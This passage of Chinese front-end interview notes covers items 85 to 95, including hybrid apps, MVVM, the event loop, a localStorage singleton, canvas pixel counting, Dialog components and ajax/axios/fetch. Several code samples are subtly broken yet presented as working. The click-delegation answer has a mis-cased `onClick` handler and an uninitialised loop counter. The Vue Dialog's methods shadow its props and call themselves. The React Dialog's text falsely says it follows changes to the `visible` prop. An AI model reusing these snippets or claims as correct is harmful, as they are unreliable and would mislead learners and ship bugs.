  • 为什么单线程:最初为操作 DOM 而设计,多线程同时改 DOM 会有竞态和锁的问题
  • 单线程 ≠ 阻塞:耗时的 IO 交给浏览器的其它线程(网络线程、定时器线程),完成后把回调塞进任务队列,主线程空了再取出来跑 —— 这就是事件循环
  • 所以"异步"是宿主环境提供的能力,不是 JS 语言本身多线程
  • 真正的多线程方案:Web Worker(独立线程,不能碰 DOM,靠 postMessage 通信)、SharedArrayBuffer 做共享内存
  • 一个推论:CPU 密集计算会真的卡死页面(事件循环转不动),必须搬进 Worker 或做时间切片

JavaScript 单线程是指主线程同一时刻只能按顺序执行一段代码,而异步用于避免耗时操作一直阻塞它。 网络请求或文件读取可以交给其他线程或进程处理,让主线程继续响应页面和执行后续任务。操作完成后,再通过回调、Promise 或 async/await 通知主线程处理结果。本质上异步没有把主线程变成多线程,只是把等待过程挪开了;如果任务本身长期占用主线程,页面仍会失去响应。

在 JavaScript 中,单线程指的是 JavaScript 引擎在执行代码时只有一个主线程,也就是说一次只能执行一条指令。这意味着 JavaScript 代码是按照顺序执行的,前一段代码执行完成后才会执行下一段代码。

  • 异步是一种编程模型,用于处理非阻塞的操作。在 JavaScript 中,异步编程可以通过回调函数、Promise、async/await 等方式来实现。异步操作不会阻塞主线程的执行,从而提高了程序的响应性能和用户体验。
  • 异步的关系与单线程密切相关,因为 JavaScript 是单线程的,如果所有的操作都是同步的,那么一旦遇到一个耗时的操作,比如网络请求或文件读取,整个程序都会被阻塞,用户界面也会停止响应,导致用户体验差。
  • 通过使用异步编程模型,可以将耗时的操作委托给其他线程或进程来处理,使得主线程可以继续执行其他任务,提高了程序的并发性和响应性。当异步操作完成后,通过回调函数或 Promise 的方式通知主线程,主线程再执行相应的回调逻辑。

总结一下:

  • JavaScript 是单线程的,只有一个主线程用于执行代码。
  • 异步编程是一种处理非阻塞操作的方式,提高程序的响应性能和用户体验。
  • 异步操作可以将耗时的任务委托给其他线程或进程处理,主线程继续执行其他任务。
  • 异步操作完成后通过回调函数或 Promise 的方式通知主线程。

# 85 前端面试之hybrid

⚡ 30 秒速记

  • Hybrid App = 原生壳 + WebView 里跑 H5,兼顾开发效率和原生能力
  • 通信机制:JS 调原生用 JSBridge(拦截自定义 scheme、注入全局对象、或用 WKWebView 的 messageHandlers);原生调 JS 用 evaluateJavaScript
  • 常见问题:WebView 版本碎片化、首屏白屏、离线包更新、与原生的路由和返回键协同
  • 优化手段:离线包预下载、WebView 预热复用、资源本地化、骨架屏
  • 技术选型对比:Hybrid(灵活但性能一般)、React Native/Flutter(接近原生)、小程序(平台受限但分发好)、PWA(无需安装但 iOS 支持弱)

Hybrid 是把原生应用与 Web 技术结合起来,在原生容器中嵌入 WebView 运行页面。 业务界面可以用 HTML、CSS 和 JavaScript 跨平台开发,并通过桥接能力调用相机、定位或推送等原生功能。它还能借助在线更新更快地修复问题和发布功能,开发效率通常比完全原生更高。取舍是复杂图形和动画可能受 WebView 性能限制,因此对原生体验要求很高的功能需要谨慎评估。

http://blog.poetries.top/2018/10/21/fe-interview-hybrid/ (opens new window)

Hybrid(混合应用)是指结合了原生应用和Web技术开发的应用程序。它通常在移动应用开发中使用,允许开发人员使用Web技术(如HTML、CSS和JavaScript)来构建跨平台的移动应用,并在原生应用中嵌入Web视图。

以下是我对Hybrid的理解:

  1. 跨平台开发:Hybrid应用具有跨平台的优势,通过使用Web技术开发一次,可以在多个平台上运行,如iOS和Android。这样可以节省开发时间和成本,并且能够更快地推出产品。
  2. 原生功能访问:Hybrid应用可以利用原生应用提供的功能和特性,如相机、地理定位、推送通知等。通过使用桥接技术,可以在Web视图中调用原生代码,实现对原生功能的访问和调用。
  3. Web技术栈:Hybrid应用使用Web技术栈进行开发,包括HTML、CSS和JavaScript。开发人员可以使用熟悉的Web开发工具和框架来构建应用程序,并且可以利用丰富的Web生态系统中的第三方库和工具。
  4. 在线更新:Hybrid应用可以通过Web进行在线更新,不需要用户手动更新应用程序。这使得开发人员能够快速修复错误、添加新功能,并将这些变更推送给用户,提供更好的用户体验。
  5. 性能权衡:与原生应用相比,Hybrid应用在性能方面可能存在一些权衡。由于在Web视图中运行,Hybrid应用的性能可能受到一些限制,特别是在处理复杂的图形和动画效果时。然而,随着Web技术的不断发展,这些性能限制正在逐渐减小。

总的来说,Hybrid应用是一种将Web技术与原生应用相结合的开发模式,提供了跨平台开发、访问原生功能、在线更新等优势。它在移动应用开发中具有一定的灵活性和便利性,可以满足开发人员快速开发和发布应用程序的需求。

以下是一个简单的示例代码,展示了如何使用Hybrid开发框架(例如Ionic)创建一个基本的Hybrid应用:

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>Hybrid App</title>
  <!-- 引入Ionic框架 -->
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ionic/3.9.2/css/ionic.min.css">
  <script src="https://cdnjs.cloudflare.com/ajax/libs/ionic/3.9.2/js/ionic.bundle.min.js"></script>
</head>
<body>
  <!-- Ionic提供的UI组件 -->
  <ion-header>
    <ion-navbar>
      <ion-title>Hybrid App</ion-title>
    </ion-navbar>
  </ion-header>
  <ion-content padding>
    <h2>Welcome to Hybrid App!</h2>
    <p>This is a hybrid application developed using Ionic framework.</p>
  </ion-content>

  <!-- 应用的脚本代码 -->
  <script>
    // 在Ionic的Angular控制器中编写业务逻辑
    angular.module('starter', ['ionic'])
      .controller('AppController', function($scope) {
        $scope.message = "Hello, Hybrid App!";
      });

    // 启动Ionic应用
    ionic.Platform.ready(function() {
      angular.bootstrap(document, ['starter']);
    });
  </script>
</body>
</html>

上述示例中使用了Ionic框架,通过引入Ionic的CSS和JavaScript库,我们可以使用Ionic提供的UI组件和工具来构建Hybrid应用。在应用的脚本代码中,使用AngularJS来编写业务逻辑,控制器中定义了一个message变量,可以在视图中显示。最后,通过ionic.Platform.ready来启动Ionic应用。

请注意,这只是一个简单的示例,实际的Hybrid应用可能包含更多的功能和复杂性。不同的Hybrid开发框架可能有不同的用法和特性,具体的开发代码和结构会根据所选框架而有所不同。

# 86 前端面试之组件化

⚡ 30 秒速记

  • 核心目标:把 UI 拆成可复用、可组合、职责单一的单元,降低复杂度
  • 好组件的标准:单一职责、接口清晰(props in / events out)、内部状态封装、可组合、有合理的默认值
  • 数据流:单向数据流(父传子用 props,子改父用事件回调),避免双向绑定带来的不可预测
  • 复用手段的演进:Mixin(命名冲突)→ HOC(嵌套地狱)→ Render Props(回调地狱)→ Hooks / Composition API(当前最优)
  • 分层实践:基础组件(无业务)→ 业务组件 → 页面 —— 只有基础组件才需要追求高度通用
  • 配套工程:Storybook 做组件文档和视觉回归,配 TypeScript 保证接口约束

组件化就是把复杂的 UI 拆成职责单一、能复用和组合的小单元,从而降低维护成本。 组件之间最好保持单向数据流,父组件通过 props 传入数据,子组件通过事件回调通知变化,避免状态互相修改。复用逻辑可以优先考虑 Hooks 或 Composition API,它们比 Mixin、HOC 更容易追踪来源。工程中我会区分基础组件、业务组件和页面组件,只有基础组件需要追求高度通用,并配合 TypeScript 和 Storybook 约束接口、维护文档。

http://blog.poetries.top/2018/10/21/fe-interview-component/ (opens new window)

# 87 前端面试之MVVM浅析

⚡ 30 秒速记

  • MVVM = Model(数据)+ View(视图)+ ViewModel(连接两者,做双向绑定)
  • 和 MVC 的区别:MVC 里 Controller 手动操作 View;MVVM 里 ViewModel 通过数据绑定自动同步,开发者只管改数据
  • 和 MVP 的区别:MVP 的 Presenter 仍要手动调用 View 的接口,MVVM 靠绑定自动化
  • Vue 是典型的 MVVM 实现(虽然作者说它不严格遵循);React 更接近单向数据流的 MV*,不做双向绑定
  • 核心价值:把开发者从手动 DOM 操作里解放出来,关注点回到数据
  • 实现基础:响应式系统(依赖收集 + 派发更新)+ 模板编译

MVVM 通过 ViewModel 连接 Model 和 View,让数据与视图能够自动同步。 相比 MVC 由 Controller 操作视图、MVP 由 Presenter 调用视图接口,MVVM 把这部分工作交给数据绑定。它本质上是让开发者少写手动 DOM 操作,把注意力放在数据变化上。实现时通常依赖响应式系统完成依赖收集和更新派发,再由模板编译建立绑定;Vue 接近这一模式,而 React 更强调单向数据流。

http://blog.poetries.top/2018/10/21/fe-interview-mvvm/ (opens new window)

# 88 实现效果,点击容器内的图标,图标边框变成border 1px solid red,点击空白处重置

⚡ 30 秒速记

  • 用事件委托:在容器上监听 click,通过 event.target.closest('.icon') 判断点到的是不是图标
  • 点中图标:先清掉其它图标的选中类,再给当前的加上
  • 点空白处重置:在 document 上监听 click,判断 target 是否在容器内(container.contains(e.target)),不在就清除
  • 注意事件顺序:容器的 click 会冒泡到 document,需要在容器的处理函数里 stopPropagation,或者在 document 的处理里做包含性判断
  • 样式用 class 切换而不是直接改 style,便于维护
  • 加边框会导致布局跳动,用 outline 或预留透明边框可以避免

可以用事件委托在容器上监听 click,点中图标时切换选中类,点到容器外时清除选中状态。 容器内通过 event.target.closest('.icon') 判断目标,命中后先移除其他图标的选中类,再给当前图标添加。文档级监听里可用 container.contains(event.target) 判断是否点在外部,因此不一定必须调用 stopPropagation。样式建议通过 class 管理;若 border 会引发布局跳动,可以预留透明边框或改用 outline。

const box = document.getElementById('box');
function isIcon(target) {
  return target.className.includes('icon');
}

box.onClick = function(e) {
  e.stopPropagation();
  const target = e.target;
  if (isIcon(target)) {
    target.style.border = '1px solid red';
  }
}
const doc = document;
doc.onclick = function(e) {
  const children = box.children;
  for(let i; i < children.length; i++) {
    if (isIcon(children[i])) {
      children[i].style.border = 'none';
    }
  }
}

# 89 请简单实现双向数据绑定MVVM

⚡ 30 秒速记

  • 最简版三件事:数据劫持 + 依赖收集 + 视图更新
  • Vue 2 风格:Object.defineProperty 劫持每个属性,getter 里收集 Watcher,setter 里通知更新
  • Vue 3 风格(更推荐写):用 Proxy 代理整个对象,get 时 track 依赖、set 时 trigger 更新
  • 视图侧:编译模板找到 {{ }} 和 v-model,为每处创建一个更新函数注册为依赖
  • v-model 的双向:绑定 value + 监听 input 事件回写数据
  • 面试时先讲清"数据变 → 视图变"和"视图变 → 数据变"是两条独立的链路,再写代码

简单的双向绑定可以用 Object.defineProperty 劫持数据属性,再监听输入事件,把数据和输入框的值互相同步。 设置 data.text 时在 setter 中更新 input.value,用户输入时则把 event.target.value 回写到 data.text。这两条链路分别解决“数据变、视图变”和“视图变、数据变”,本质上是两个方向的同步。这个写法只适合演示;完整的 MVVM 还要处理依赖收集、更新派发和模板编译,也可以用 Proxy 实现对象代理。

<input id="input"/>

<script>
  const data = {};
  const input = document.getElementById('input');
  Object.defineProperty(data, 'text', {
    get() {
      return this.value;
    },
    set(value) {
      input.value = value;
      this.value = value;
    }
  });
  input.addEventListener('change', function(e) {
    data.text = e.target.value;
  });
</script>

当你修改输入框的值时,data.text会更新,而当你设置data.text的值时,输入框的值也会更新。这实现了简单的双向数据绑定。请注意,这只是一个基础示例,实际的MVVM框架会更复杂且功能更强大

# 90 实现Storage,使得该对象为单例,并对localStorage进行封装设置值setItem(key,value)和getItem(key)

⚡ 30 秒速记

  • 单例的两种写法:闭包缓存实例(let instance; return instance || (instance = new Storage())),或 class 里用静态属性 + getInstance
  • ES module 天然单例 —— 直接 export default new Storage() 就行,这是最简洁的答案
  • 封装要点:setItem 自动 JSON.stringify,getItem 自动 JSON.parse 并用 try/catch 兜住解析失败
  • 进阶功能:过期时间(存 { value, expire } 结构,读时判断)、key 加命名空间前缀避免冲突、容量超限(QuotaExceededError)的降级处理
  • 再进阶:监听 storage 事件做多标签页同步

可以在类外保存唯一实例,并通过静态方法 getInstance 统一获取,再封装 localStorage 的读写。 第一次调用时创建 Storage,后续直接返回已有实例,因此整个运行环境只会使用同一个对象。setItem 和 getItem 分别转调原生同名方法,调用方不用直接接触 localStorage。需要注意,原生存储返回的是字符串,键不存在时会得到 null。

var instance = null;
class Storage {
  static getInstance() {
    if (!instance) {
      instance = new Storage();
    }
    return instance;
  }

  setItem(key, value) {
    localStorage.setItem(key, value);
  }

  getItem(key) {
    return localStorage.getItem(key);
  }
}

现在,你可以使用Storage.getInstance()来获取Storage的单例对象,并使用setItem和getItem方法来设置和获取localStorage中的值。

// 使用示例
const storage = Storage.getInstance();
storage.setItem('name', 'poetry');
const name = storage.getItem('name');
console.log(name); // 输出: poetry

# 91 谈谈你对Event Loop的理解

⚡ 30 秒速记

  • 主线:同步代码跑完清空调用栈 → 清空整个微任务队列 → 取一个宏任务执行 → 再清空微任务 → 循环往复
  • 关键细节一:每执行完一个宏任务要把微任务队列完全清空(不是执行一个),期间新产生的微任务也在本轮处理完 —— 所以微任务里写死循环会饿死渲染
  • 关键细节二:setTimeout(fn, 0) 实际最小延时约 4ms,且只保证"不早于",不保证准时
  • 宏任务:setTimeout / setInterval / I/O / UI 渲染;微任务:Promise.then / queueMicrotask / MutationObserver
  • Node 的事件循环分六个阶段,还多一个 process.nextTick(优先级高于 Promise),和浏览器不完全一样

Event Loop 的核心是同步代码执行完后清空微任务,再进入下一轮宏任务。 JavaScript 是单线程的,异步回调会先进入对应队列,等执行栈空闲后才有机会运行。像 Promise.then 属于微任务,setTimeout、setInterval 属于宏任务,所以前者通常会先执行。浏览器必要时会在两轮任务之间渲染界面,而 Node.js 的任务类型和调度细节并不完全相同。

前端面试中关于事件循环(Event Loop)的考点主要包括以下内容:

  1. 事件循环的基本原理:介绍 JavaScript 的单线程特性,事件循环的概念和工作原理,以及任务队列(Task Queue)的概念。
  2. 宏任务和微任务:区分宏任务(Macrotask)和微任务(Microtask)的概念,理解它们在事件循环中的执行顺序。
  3. 常见的宏任务和微任务:了解常见的宏任务和微任务的类型,如 setTimeout、setInterval、Promise、MutationObserver 等。
  4. 异步操作的执行顺序:理解异步操作的执行顺序,如何在事件循环中处理异步代码,微任务优先于宏任务执行等。
  5. 宏任务中的异步操作:了解在宏任务中的异步操作(例如 setTimeout)是如何被添加到任务队列中的,以及它们的执行时机。
  6. 浏览器中的事件循环和 Node.js 中的事件循环:了解浏览器环境和 Node.js 环境下事件循环的差异,如 setImmediate 的区别等。

了解和掌握事件循环的原理和机制对于理解 JavaScript 异步编程非常重要。在面试中,常常会通过让求职者解释事件循环的执行顺序、分析代码的输出结果等方式来考察他们对事件循环的理解。

首先,js是单线程的,主要的任务是处理用户的交互,而用户的交互无非就是响应DOM的增删改,使用事件队列的形式,一次事件循环只处理一个事件响应,使得脚本执行相对连续,所以有了事件队列,用来储存待执行的事件,那么事件队列的事件从哪里被push进来的呢。那就是另外一个线程叫事件触发线程做的事情了,他的作用主要是在定时触发器线程、异步HTTP请求线程满足特定条件下的回调函数push到事件队列中,等待js引擎空闲的时候去执行,当然js引擎执行过程中有优先级之分,首先js引擎在一次事件循环中,会先执行js线程的主任务,然后会去查找是否有微任务microtask(promise),如果有那就优先执行微任务,如果没有,在去查找宏任务macrotask(setTimeout、setInterval)进行执行

众所周知 JS 是门非阻塞单线程语言,因为在最初 JS 就是为了和浏览器交互而诞生的。如果 JS 是门多线程的语言话,我们在多个线程中处理 DOM 就可能会发生问题(一个线程中新加节点,另一个线程中删除节点)

  • JS 在执行的过程中会产生执行环境,这些执行环境会被顺序的加入到执行栈中。如果遇到异步的代码,会被挂起并加入到 Task(有多种 task) 队列中。一旦执行栈为空,Event Loop 就会从 Task 队列中拿出需要执行的代码并放入执行栈中执行,所以本质上来说 JS 中的异步还是同步行为

console.log('script start');

setTimeout(function() {
  console.log('setTimeout');
}, 0);

console.log('script end');

不同的任务源会被分配到不同的 Task 队列中,任务源可以分为 微任务(microtask) 和 宏任务(macrotask)。在 ES6 规范中,microtask 称为 jobs,macrotask 称为 task

console.log('script start');

setTimeout(function() {
  console.log('setTimeout');
}, 0);

new Promise((resolve) => {
    console.log('Promise')
    resolve()
}).then(function() {
  console.log('promise1');
}).then(function() {
  console.log('promise2');
});

console.log('script end');
// script start => Promise => script end => promise1 => promise2 => setTimeout

以上代码虽然 setTimeout 写在 Promise 之前,但是因为 Promise 属于微任务而 setTimeout 属于宏任务

微任务

  • process.nextTick
  • promise
  • Object.observe
  • MutationObserver

宏任务

  • script
  • setTimeout
  • setInterval
  • setImmediate
  • I/O
  • UI rendering

宏任务中包括了 script ,浏览器会先执行一个宏任务,接下来有异步代码的话就先执行微任务

所以正确的一次 Event loop 顺序是这样的

  • 执行同步代码,这属于宏任务
  • 执行栈为空,查询是否有微任务需要执行
  • 执行所有微任务
  • 必要的话渲染 UI
  • 然后开始下一轮 Event loop,执行宏任务中的异步代码

通过上述的 Event loop 顺序可知,如果宏任务中的异步代码有大量的计算并且需要操作 DOM 的话,为了更快的响应界面响应,我们可以把操作 DOM 放入微任务中

setTimeout(function () {
  console.log("1");
}, 0);
async function async1() {
  console.log("2");
  const data = await async2();
  console.log("3");
  return data;
}
async function async2() {
  return new Promise((resolve) => {
    console.log("4");
    resolve("async2的结果");
  }).then((data) => {
    console.log("5");
    return data;
  });
}
async1().then((data) => {
  console.log("6");
  console.log(data);
});
new Promise(function (resolve) {
  console.log("7");
  //   resolve()
}).then(function () {
  console.log("8");
});

输出结果:247536 async2 的结果 1

# 92 JavaScript 对象生命周期的理解

⚡ 30 秒速记

  • 创建:字面量、new、Object.create、工厂函数 —— 在堆上分配内存
  • 使用:通过引用访问,属性读写走原型链
  • 回收:当对象不再可达(从 GC Roots 出发遍历不到)时被垃圾回收
  • 现代引擎用可达性分析(标记-清除),不是引用计数 —— 所以循环引用也能被正确回收
  • V8 的分代回收:新生代(Scavenge 复制算法,适合朝生夕死的对象)、老生代(标记-清除 + 标记-整理)
  • 前端实践含义:别让长生命周期的对象持有短生命周期对象的引用(这就是内存泄漏的本质),需要弱引用时用 WeakMap/WeakSet

JavaScript 对象的生命周期可以理解为创建、使用和被垃圾回收三个阶段。 创建对象时引擎会分配内存,使用期间变量、函数或其他对象可能直接或间接持有它的引用。对象不再可达后,垃圾回收器会在合适的时机释放内存,现代引擎通常采用标记清除,并结合分代回收等方式提高效率。开发者不用手动释放内存,但及时解除无用引用或设为 null,能避免对象被长期保留。

JavaScript 对象的生命周期可以概括为以下几个阶段:

  1. 创建阶段:当使用 new 关键字或对象字面量语法创建一个对象时,JavaScript 引擎会为该对象分配内存,并将其初始化为一个空对象。
  2. 使用阶段:在对象创建后,可以对其进行属性的读取、修改和方法的调用等操作。对象被使用时,它可能会被传递给其他函数或存储在变量中,以供后续操作使用。
  3. 引用阶段:在对象的使用过程中,其他变量或函数可能会引用该对象,形成对该对象的引用关系。这些引用关系可以是直接的,也可以是通过其他对象的属性或方法间接引用的。
  4. 回收阶段:当一个对象不再被引用时,或者所有引用都被循环引用时,垃圾回收机制会将其标记为可回收,并在适当的时候回收该对象所占用的内存。垃圾回收器定期扫描内存中的对象,检查它们的引用情况,并释放那些不再被引用的对象。

需要注意的是,JavaScript 使用自动垃圾回收机制来管理内存,开发者不需要显式地释放对象占用的内存。垃圾回收器会自动跟踪对象的引用关系,并在适当的时候回收无用的对象。开发者可以通过将对象的引用置为 null 来显式地解除对对象的引用,以帮助垃圾回收器更早地回收对象。

在浏览器环境中,垃圾回收器通常使用标记-清除算法来判断对象是否可回收。当一个对象不再可达时,即没有任何引用指向该对象,垃圾回收器会将其标记为可回收,并在垃圾回收的过程中将其释放。一些现代的浏览器还使用了更高级的垃圾回收算法,如分代回收和增量标记等,以提高垃圾回收的效率和性能。

总结来说,JavaScript 对象的生命周期包括创建、使用和回收三个阶段。开发者无需显式地管理对象的内存,而是通过使用对象和及时解除对象的引用来帮助垃圾回收器自动回收不再使用的对象。

# 93 我现在有一个canvas,上面随机布着一些黑块,请实现方法,计算canvas上有多少个黑块

⚡ 30 秒速记

  • 本质是图像连通域计数问题(Flood Fill / 岛屿数量)
  • 步骤:ctx.getImageData 拿到像素数组(每 4 个字节是一个像素的 RGBA)→ 遍历每个像素 → 遇到未访问过的黑色像素就计数 +1,然后用 BFS/DFS 把它连通的所有黑像素标记为已访问
  • 连通性要先明确是四连通还是八连通,结果不一样
  • 递归 DFS 在大图上会爆栈,用显式栈或队列做迭代版
  • 复杂度 O(w × h),每个像素只访问一次
  • 工程提醒:getImageData 受同源策略限制,跨域图片会污染画布导致抛错,需要 crossorigin 配合服务端 CORS 头

可以用 getImageData 读取画布像素,遍历并统计 RGB 都为 0 的像素数量。 像素数组按 RGBA 每四项表示一个像素,因此循环时每次递增 4,命中黑色就把计数加一。这个实现统计的是黑色像素数;如果题目里的“黑块”指彼此分离的区域,还需要额外定义区域如何判定。画布较大时逐像素扫描会有性能成本,跨域图片还可能因同源限制导致读取失败。

要计算 canvas 上有多少个黑块,需要遍历 canvas 上的每个像素,并检查该像素的颜色是否为黑色。以下是一种实现方法:

function countBlackBlocks(canvas) {
  const context = canvas.getContext('2d');
  const imageData = context.getImageData(0, 0, canvas.width, canvas.height);
  const pixels = imageData.data;
  let blackCount = 0;

  for (let i = 0; i < pixels.length; i += 4) {
    // 获取像素的 RGB 颜色值
    const red = pixels[i];
    const green = pixels[i + 1];
    const blue = pixels[i + 2];

    // 判断颜色是否为黑色
    if (red === 0 && green === 0 && blue === 0) {
      blackCount++;
    }
  }

  return blackCount;
}

使用该方法,传入 canvas 元素作为参数,即可计算 canvas 上有多少个黑块。该方法通过获取 canvas 上的像素数据,遍历每个像素并判断其颜色是否为黑色(RGB 值为 [0, 0, 0]),累计黑色像素的数量,并最后返回计数结果。

请注意,为了避免跨域问题,确保 canvas 的源与脚本执行的域相同,或者将 canvas 的图片源设为与脚本执行的域相同。另外,如果 canvas 的大小较大,遍历像素的操作可能会比较耗时,可能会影响性能。因此,在处理较大的 canvas 时,需要注意性能优化。

# 94 现在要你完成一个Dialog组件,说说你设计的思路?它应该有什么功能?

⚡ 30 秒速记

  • API 设计:受控的 open/onClose、title/content/footer 插槽、size、mask 是否可点击关闭、esc 是否关闭
  • 渲染位置:用 Portal 渲染到 body 下,避免被父级的 overflow:hidden 或 transform 影响定位
  • 焦点管理(最容易被忽略但最加分):打开时把焦点移进弹窗、Tab 键在弹窗内循环(focus trap)、关闭后焦点还给触发元素
  • 无障碍:role="dialog" aria-modal="true"、aria-labelledby 关联标题、Esc 关闭
  • 细节:打开时锁 body 滚动(注意补偿滚动条宽度避免抖动)、多层弹窗的 z-index 管理、进出场动画
  • 命令式调用:额外提供 Dialog.confirm() 这类静态方法,内部动态创建并返回 Promise
  • 面试时重点讲焦点管理和无障碍,多数人只会讲显示隐藏

我会把 Dialog 设计成受控组件,由外部通过 visible、onOk 和 onCancel 管理状态。 头部、正文和底部用插槽开放定制,并支持点击蒙层关闭、内容超高滚动以及自定义渲染位置。显示可以用 v-if 或 v-show 控制,打开时还要锁定页面滚动,避免底层内容跟着移动。实际使用时可配合 v-model 和 ok、cancel 事件,让业务状态始终由父组件掌握。

基于上述需求,以下是设计思路和Vue实现示例:

设计思路:

  1. 创建一个Dialog组件,它是一个可控的组件,接收visible、onOk和onCancel等属性。
  2. 使用v-if或者v-show来控制Dialog组件的显示与隐藏。
  3. 在组件内部,使用插槽(slot)来允许自定义头部和底部内容。
  4. 在Dialog组件的模板中,设置一个蒙层(mask),用于遮盖底层内容。点击蒙层时触发onCancel事件关闭Dialog。
  5. 在Dialog组件的内容区域,设置一个滚动条容器,当内容超出容器高度时显示滚动条。
  6. 根据需要,可以在组件外部指定渲染位置、设置外层样式等。

Vue实现示例:

<template>
  <div v-if="visible" class="dialog-container">
    <div class="dialog-mask" @click="onCancel"></div>
    <div class="dialog-content">
      <div class="dialog-header">
        <slot name="header">
          <h2>Default Header</h2>
        </slot>
      </div>
      <div class="dialog-body">
        <slot></slot>
      </div>
      <div class="dialog-footer">
        <slot name="footer">
          <button @click="onOk">Confirm</button>
          <button @click="onCancel">Cancel</button>
        </slot>
      </div>
    </div>
  </div>
</template>

<script>
export default {
  props: {
    visible: {
      type: Boolean,
      default: false
    },
    onOk: {
      type: Function,
      default: () => {}
    },
    onCancel: {
      type: Function,
      default: () => {}
    }
  },
  watch: {
    visible(newValue) {
      if (newValue) {
        document.body.style.overflow = 'hidden';
      } else {
        document.body.style.overflow = '';
      }
    }
  },
  methods: {
    onOk() {
      this.onOk();
    },
    onCancel() {
      this.onCancel();
    }
  }
};
</script>

<style>
.dialog-container {
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  display: flex;
  justify-content: center;
  align-items: center;
}

.dialog-mask {
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: rgba(0, 0, 0, 0.5);
}

.dialog-content {
  background-color: white;
  width: 400px;
  border-radius: 4px;
  overflow: hidden;
}

.dialog-header {
  padding: 16px;
  border-bottom: 1px solid #ccc;
}

.dialog-body {
  padding: 16px;
  max-height: 400px;
  overflow-y: auto;
}

.dialog-footer {
  padding: 16px;
  border-top: 1px solid #ccc;
  text-align: right;
}

.dialog-footer button {
  margin-left: 8px;
}
</style>

在使用示例中,我们可以在父组件中通过v-model指令来控制visible属性的值,从而控制Dialog组件的显示和隐藏。同时,可以通过@ok和@cancel事件监听来处理确定和取消按钮的点击事件。

<template>
  <div>
    <button @click="showDialog">Show Dialog</button>
    <Dialog v-model="dialogVisible" @ok="handleOk" @cancel="handleCancel">
      <template #header>
        <h2>Custom Header</h2>
      </template>
      <p>This is the dialog content.</p>
      <template #footer>
        <button @click="handleCustomAction">Custom Action</button>
      </template>
    </Dialog>
  </div>
</template>

<script>
import Dialog from './Dialog';

export default {
  components: {
    Dialog
  },
  data() {
    return {
      dialogVisible: false
    };
  },
  methods: {
    showDialog() {
      this.dialogVisible = true;
    },
    handleOk() {
      // Handle ok button click
      console.log('Ok button clicked');
      this.dialogVisible = false;
    },
    handleCancel() {
      // Handle cancel button click
      console.log('Cancel button clicked');
      this.dialogVisible = false;
    },
    handleCustomAction() {
      // Handle custom action button click
      console.log('Custom action button clicked');
    }
  }
};
</script>

注意,在使用示例中,我们引入了自定义的Dialog组件,并在父组件中进行注册。然后使用v-model绑定dialogVisible属性来控制Dialog组件的显示和隐藏。通过监听@ok和@cancel事件来处理确定和取消按钮的点击事件,并在方法中进行相应的处理逻辑。

这样,当点击"Show Dialog"按钮时,Dialog组件将会显示出来,并且可以根据需要自定义头部、内容和底部按钮,同时可以处理确定和取消按钮的点击事件。

React Hooks实现

下面是使用React Hooks实现的Dialog组件示例:

import React, { useState } from 'react';

const Dialog = ({ visible, onCancel, onOk, children }) => {
  const [dialogVisible, setDialogVisible] = useState(visible);

  const handleCancel = () => {
    setDialogVisible(false);
    onCancel && onCancel();
  };

  const handleOk = () => {
    setDialogVisible(false);
    onOk && onOk();
  };

  return (
    <>
      {dialogVisible && (
        <div className="dialog-wrapper">
          <div className="dialog-mask" onClick={handleCancel}></div>
          <div className="dialog-content">
            <div className="dialog-header">
              <h2>Dialog Header</h2>
            </div>
            <div className="dialog-body">{children}</div>
            <div className="dialog-footer">
              <button onClick={handleOk}>OK</button>
              <button onClick={handleCancel}>Cancel</button>
            </div>
          </div>
        </div>
      )}
    </>
  );
};

export default Dialog;

在这个示例中,我们使用了useState来定义一个dialogVisible状态,来控制Dialog组件的显示和隐藏。当visible属性发生变化时,通过setDialogVisible方法来更新dialogVisible状态。

在handleCancel和handleOk方法中,我们调用setDialogVisible(false)来隐藏Dialog组件,并触发相应的onCancel和onOk回调函数。

在返回的JSX中,我们根据dialogVisible状态来判断是否渲染Dialog组件。当dialogVisible为true时,渲染Dialog组件的内容,包括遮罩层、头部、内容和底部按钮。点击遮罩层时,调用handleCancel方法,关闭Dialog。

使用这个Dialog组件时,可以通过传递visible、onCancel和onOk属性来控制显示和隐藏,以及处理取消和确定按钮的点击事件。

import React, { useState } from 'react';
import Dialog from './Dialog';

const App = () => {
  const [dialogVisible, setDialogVisible] = useState(false);

  const showDialog = () => {
    setDialogVisible(true);
  };

  const handleOk = () => {
    console.log('OK button clicked');
    setDialogVisible(false);
  };

  const handleCancel = () => {
    console.log('Cancel button clicked');
    setDialogVisible(false);
  };

  return (
    <div>
      <button onClick={showDialog}>Show Dialog</button>
      <Dialog visible={dialogVisible} onCancel={handleCancel} onOk={handleOk}>
        <p>This is the dialog content.</p>
      </Dialog>
    </div>
  );
};

export default App;

在这个示例中,我们在父组件中使用useState定义了一个dialogVisible状态,并提供了showDialog、handleOk和handleCancel方法来控制Dialog组件的显示和隐藏,以及处理确定和取消按钮的点击事件。

当点击"Show Dialog"按钮时,Dialog组件将会显示出来,并且可以根据需要传递内容,并处理确定和取消按钮的点击事件。

# 95 ajax、axios、fetch区别

⚡ 30 秒速记

  • Ajax 是技术统称(不刷新页面与服务器通信),XMLHttpRequest 是它的原生实现
  • fetch:浏览器原生、基于 Promise、语法简洁;但 HTTP 错误码不 reject、默认不带 cookie、无原生进度和超时、取消要靠 AbortController
  • axios:第三方库,底层浏览器端用 XHR、Node 端用 http 模块;有拦截器、自动 JSON 转换、超时、取消、上传进度、错误码自动 reject
  • 选型:需要拦截器统一处理 token 和错误、需要上传进度的项目用 axios;轻量场景或想零依赖用 fetch(可以自己薄封装一层)
  • 补充:fetch 配 AbortSignal.timeout() 现在也能优雅做超时了

Ajax 是异步通信技术的统称,fetch 是浏览器原生请求接口,axios 则是功能更完整的第三方请求库。 传统 Ajax 通常基于 XHR,配置和回调写法相对繁琐;fetch 基于 Promise,更轻量,但需要自行处理超时、错误码和请求进度等问题。axios 在浏览器端使用 XHR,在 Node.js 中发送 http 请求,并提供拦截器、数据转换和取消请求等能力。简单场景可以选 fetch,需要统一处理请求和响应时,我一般会选 axios。

总结一下ajax、axios和fetch的区别:

  • ajax是一种技术统称,基于原生的XHR开发,已经有了fetch的替代方案。
  • fetch是一个原生的API,用于进行网络请求,支持Promise API,但在某些方面功能较为简单,需要进行封装来处理错误、超时等情况。
